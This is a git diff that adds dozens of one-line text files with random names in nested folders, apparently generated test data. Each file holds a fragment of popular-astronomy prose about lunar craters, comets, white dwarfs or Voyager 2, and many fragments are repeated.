diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rncubcekoftqreuedxr.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rncubcekoftqreuedxr.txt
new file mode 100644
index 0000000..587834d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rncubcekoftqreuedxr.txt
@@ -0,0 +1 @@
+did for the study of language what Euclid did for geometry; Herophilus, the physiologist
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rxrdnsjtyvehxxmdl.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rxrdnsjtyvehxxmdl.txt
new file mode 100644
index 0000000..e6794f5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/rxrdnsjtyvehxxmdl.txt
@@ -0,0 +1 @@
+curious is his view of the origin of the lunar craters, which make the Moon, he says, ‘not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/sbgyljhymqiovirwykavy.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/sbgyljhymqiovirwykavy.txt
new file mode 100644
index 0000000..b918fd5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/sbgyljhymqiovirwykavy.txt
@@ -0,0 +1 @@
+ourselves better by understanding other cases. The study of a single instance of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/vjuhvhyk.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/vjuhvhyk.txt
new file mode 100644
index 0000000..dbdb1c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/vjuhvhyk.txt
@@ -0,0 +1 @@
+meteorology and half a dozen other sciences of another world. How should we follow up
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/yplhcydehahaeraiolyezx.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/yplhcydehahaeraiolyezx.txt
new file mode 100644
index 0000000..79fb891
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/yplhcydehahaeraiolyezx.txt
@@ -0,0 +1 @@
+correspondingly greater amounts. On a world with 10 g acceleration, a rock would travel 10 x 10 m/sec or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/zrlftcynh.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/zrlftcynh.txt
new file mode 100644
index 0000000..6e6eaa4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/zrlftcynh.txt
@@ -0,0 +1 @@
+ancient kings and heroes deified by later generations.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_bcyindbwm.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_bcyindbwm.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_bcyindbwm.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_dayscsncpffltdghnsugazy.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_dayscsncpffltdghnsugazy.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_dayscsncpffltdghnsugazy.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_fypmcexdkfaxdq.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_fypmcexdkfaxdq.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_fypmcexdkfaxdq.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_gmaymlbwgvkkegublglwqh.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_gmaymlbwgvkkegublglwqh.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_gmaymlbwgvkkegublglwqh.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_hblqwgadvvihhrp.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_hblqwgadvvihhrp.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_hblqwgadvvihhrp.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_inasootzotziuzdxxs.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_inasootzotziuzdxxs.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_inasootzotziuzdxxs.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_jdvuhoowis.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_jdvuhoowis.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_jdvuhoowis.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_lkvtbsqpylkadokhvgnzpsh.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_lkvtbsqpylkadokhvgnzpsh.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_lkvtbsqpylkadokhvgnzpsh.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_morucvibuwdcwtkevgs.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_morucvibuwdcwtkevgs.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_morucvibuwdcwtkevgs.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_nheutadcditxy.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_nheutadcditxy.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_nheutadcditxy.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_ofcgabemokkvgk.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_ofcgabemokkvgk.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_ofcgabemokkvgk.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_qdramthstjmrmiirpyedoa.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_qdramthstjmrmiirpyedoa.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_qdramthstjmrmiirpyedoa.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_qwhnbwtyfak.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_qwhnbwtyfak.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_qwhnbwtyfak.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_rxoqyiymsyomba.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_rxoqyiymsyomba.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_rxoqyiymsyomba.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_ryoqxeikdwwlvoedv.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_ryoqxeikdwwlvoedv.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_ryoqxeikdwwlvoedv.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_tajnltibsyevkrobbxe.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_tajnltibsyevkrobbxe.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_tajnltibsyevkrobbxe.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_tijothzksthm.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_tijothzksthm.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_tijothzksthm.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_uipiysceiivdlcpkpyincdx.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_uipiysceiivdlcpkpyincdx.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_uipiysceiivdlcpkpyincdx.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_vzomkkmutzmywreob.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_vzomkkmutzmywreob.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_vzomkkmutzmywreob.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/file_yukzmiyvvgdpodfhj.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/file_yukzmiyvvgdpodfhj.txt
new file mode 100644
index 0000000..2917327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/file_yukzmiyvvgdpodfhj.txt
@@ -0,0 +1 @@
+cloud, and a group of comets finds itself in highly elliptical orbits, plunging toward the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bagllvnaypkxztcgvhvtthqy.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bagllvnaypkxztcgvhvtthqy.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bagllvnaypkxztcgvhvtthqy.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bbzlqtkklcrlf.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bbzlqtkklcrlf.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bbzlqtkklcrlf.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bxxseiahytt.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bxxseiahytt.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_bxxseiahytt.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_cydtrnprjkrwpcn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_cydtrnprjkrwpcn.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_cydtrnprjkrwpcn.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_dafaluhhqhczebunpoogfwao.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_dafaluhhqhczebunpoogfwao.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_dafaluhhqhczebunpoogfwao.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_drqggqqvksessjciuwdaa.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_drqggqqvksessjciuwdaa.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_drqggqqvksessjciuwdaa.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_hpobouqxhsp.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_hpobouqxhsp.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_hpobouqxhsp.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_jbfzpmxdeqvkaxnocxhw.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_jbfzpmxdeqvkaxnocxhw.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_jbfzpmxdeqvkaxnocxhw.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_lbposesysndplwptmhlfrev.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_lbposesysndplwptmhlfrev.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_lbposesysndplwptmhlfrev.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_nedncnmuccfqkehcygsgafuo.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_nedncnmuccfqkehcygsgafuo.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_nedncnmuccfqkehcygsgafuo.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oerqhffaqcyd.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oerqhffaqcyd.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oerqhffaqcyd.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oheyhdwmnozfchbntvkejy.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oheyhdwmnozfchbntvkejy.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_oheyhdwmnozfchbntvkejy.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rdnxytavhnbiy.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rdnxytavhnbiy.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rdnxytavhnbiy.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rlirnhgtpezxsgj.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rlirnhgtpezxsgj.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_rlirnhgtpezxsgj.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swgufcbplkxsltb.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swgufcbplkxsltb.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swgufcbplkxsltb.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swtcgpllm.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swtcgpllm.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_swtcgpllm.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_ukyzesrpea.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_ukyzesrpea.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_ukyzesrpea.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_vdfnnpnljdyckusizvc.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_vdfnnpnljdyckusizvc.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_vdfnnpnljdyckusizvc.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_weguufaolabfkkwqojrrn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_weguufaolabfkkwqojrrn.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_weguufaolabfkkwqojrrn.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_wvghdehinpxymuhfyl.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_wvghdehinpxymuhfyl.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_wvghdehinpxymuhfyl.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_xfzuvgkrxfjmallj.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_xfzuvgkrxfjmallj.txt
new file mode 100644
index 0000000..a67f810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/file_xfzuvgkrxfjmallj.txt
@@ -0,0 +1 @@
+and temperatures by the intense gravity of the white dwarf, until the stolen atmosphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_cqbrhyctxxlhmeymwtduzjo.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_cqbrhyctxxlhmeymwtduzjo.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_cqbrhyctxxlhmeymwtduzjo.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_dbhbluikqhoazzd.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_dbhbluikqhoazzd.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_dbhbluikqhoazzd.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_fzmwsgkeczckvzwfwky.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_fzmwsgkeczckvzwfwky.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_fzmwsgkeczckvzwfwky.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_gbdpzgiwohnrd.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_gbdpzgiwohnrd.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_gbdpzgiwohnrd.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hennyomudze.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hennyomudze.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hennyomudze.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hglsdddhmiexixdliyzsym.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hglsdddhmiexixdliyzsym.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_hglsdddhmiexixdliyzsym.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_juscythkycsaepszvgphe.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_juscythkycsaepszvgphe.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_juscythkycsaepszvgphe.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_jvkazqep.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_jvkazqep.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_jvkazqep.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_kdppzgsxyjs.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_kdppzgsxyjs.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_kdppzgsxyjs.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
